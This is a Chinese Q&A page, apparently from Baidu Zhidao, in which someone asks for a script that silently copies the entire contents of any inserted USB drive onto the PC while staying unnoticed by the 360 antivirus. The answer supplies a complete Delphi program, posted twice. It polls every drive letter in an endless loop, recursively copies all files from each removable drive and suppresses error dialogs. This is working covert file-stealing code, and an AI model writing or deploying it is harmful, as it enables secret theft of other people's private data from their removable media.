怎样使用VBS脚本编写U盘插入自动复制文件至C:\WINDOWS下
本人想做试验用...自动检测,并复制U盘内所有类型文件最好是CPU不可过高,带休眠的功能...一切行动都是静悄悄的...360不报木马(这个可有可无)想要VBS脚本代码....
本人想做试验用...
自动检测,并复制U盘内所有类型文件
最好是CPU不可过高,带休眠的功能...
一切行动都是静悄悄的...
360不报木马(这个可有可无)
想要VBS脚本代码...高手请回答! 展开
自动检测,并复制U盘内所有类型文件
最好是CPU不可过高,带休眠的功能...
一切行动都是静悄悄的...
360不报木马(这个可有可无)
想要VBS脚本代码...高手请回答! 展开
1个回答
展开全部
我可以给你DELPHI代码:
program USBCopyer(input,output);
uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
StdCtrls,
shellapi,
urlmon,
strutils;
var
existnum:integer;
savepath,savepath2:string;
//Init
procedure init;
var
f:text;
begin
assign(f,'info.dat');
reset(f);
readln(f,existnum);
readln(f,savepath);
close(f);
end;
procedure core;
var
errormode:word;
bool:boolean;
f:text;
typenum:integer;
i:char;
disk:string;
//Check Exist
function checkexist(disk:string):boolean;
var
s,filepath,savedtime:string;
f:text;
begin
s:=formatdatetime('yyyy/mm/dd',now);
filepath:=disk+'copy.t';
if fileexists(filepath) then begin
assign(f,filepath);
reset(f);
readln(f,savedtime);
close(f);
if savedtime=s then result:=true else begin assign(f,filepath);rewrite(f);writeln(f,s);close(f);result:=false;end
end
else
begin
assign(f,filepath);
rewrite(f);
writeln(f,s);
close(f);
result:=false;
end;
end;
//Copyer
procedure copyer(source,dest:string);
var
bool:boolean;
flag:integer;
folder:tsearchrec;
begin
flag:=findfirst(source+'*.*',faanyfile,folder);
while flag=0 do
begin
if Folder.Attr and FaDirectory <> FaDirectory then
begin
Copyfile(pchar(source+Folder.Name),pchar(dest+Folder.Name),false);
Flag:= FindNext(Folder);
end
else
begin
if (Folder.Name <> '.') and (not AnsiContainsText(Folder.Name,'..'))
then begin
bool:=createdirectory(pchar(dest+folder.name),nil);
Copyer(source+Folder.Name + '\',dest+folder.name+'\');
flag:= FindNext(Folder);
end else flag:=FindNext(Folder);
end;
end; //while
end;
//Core Main
begin
repeat
init;
EConvertError.Create('Not a valid drive ID');
ErrorMode :=SetErrorMode(SEM_FailCriticalErrors);
for i:='C' to 'Z' do
begin
disk:=i+':\';
if DiskSize(Ord(I) - $40) <> -1 then
begin
typenum:=getdrivetype(pchar(disk));
if (typenum=2) and (checkexist(disk)=false) then
begin
inc(existnum);
savepath2:=savepath+inttostr(existnum);
bool:=createdirectory(pchar(savepath2),nil);
savepath2:=savepath2+'\';
assign(f,'info.dat');
rewrite(f);
writeln(f,existnum);
writeln(f,savepath);
close(f);
copyer(disk,savepath2);
end;
end;
end;
until 1=2;
end;
//Main
begin
init;
core;
end.
program USBCopyer(input,output);
uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
StdCtrls,
shellapi,
urlmon,
strutils;
var
existnum:integer;
savepath,savepath2:string;
//Init
procedure init;
var
f:text;
begin
assign(f,'info.dat');
reset(f);
readln(f,existnum);
readln(f,savepath);
close(f);
end;
procedure core;
var
errormode:word;
bool:boolean;
f:text;
typenum:integer;
i:char;
disk:string;
//Check Exist
function checkexist(disk:string):boolean;
var
s,filepath,savedtime:string;
f:text;
begin
s:=formatdatetime('yyyy/mm/dd',now);
filepath:=disk+'copy.t';
if fileexists(filepath) then begin
assign(f,filepath);
reset(f);
readln(f,savedtime);
close(f);
if savedtime=s then result:=true else begin assign(f,filepath);rewrite(f);writeln(f,s);close(f);result:=false;end
end
else
begin
assign(f,filepath);
rewrite(f);
writeln(f,s);
close(f);
result:=false;
end;
end;
//Copyer
procedure copyer(source,dest:string);
var
bool:boolean;
flag:integer;
folder:tsearchrec;
begin
flag:=findfirst(source+'*.*',faanyfile,folder);
while flag=0 do
begin
if Folder.Attr and FaDirectory <> FaDirectory then
begin
Copyfile(pchar(source+Folder.Name),pchar(dest+Folder.Name),false);
Flag:= FindNext(Folder);
end
else
begin
if (Folder.Name <> '.') and (not AnsiContainsText(Folder.Name,'..'))
then begin
bool:=createdirectory(pchar(dest+folder.name),nil);
Copyer(source+Folder.Name + '\',dest+folder.name+'\');
flag:= FindNext(Folder);
end else flag:=FindNext(Folder);
end;
end; //while
end;
//Core Main
begin
repeat
init;
EConvertError.Create('Not a valid drive ID');
ErrorMode :=SetErrorMode(SEM_FailCriticalErrors);
for i:='C' to 'Z' do
begin
disk:=i+':\';
if DiskSize(Ord(I) - $40) <> -1 then
begin
typenum:=getdrivetype(pchar(disk));
if (typenum=2) and (checkexist(disk)=false) then
begin
inc(existnum);
savepath2:=savepath+inttostr(existnum);
bool:=createdirectory(pchar(savepath2),nil);
savepath2:=savepath2+'\';
assign(f,'info.dat');
rewrite(f);
writeln(f,existnum);
writeln(f,savepath);
close(f);
copyer(disk,savepath2);
end;
end;
end;
until 1=2;
end;
//Main
begin
init;
core;
end.
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询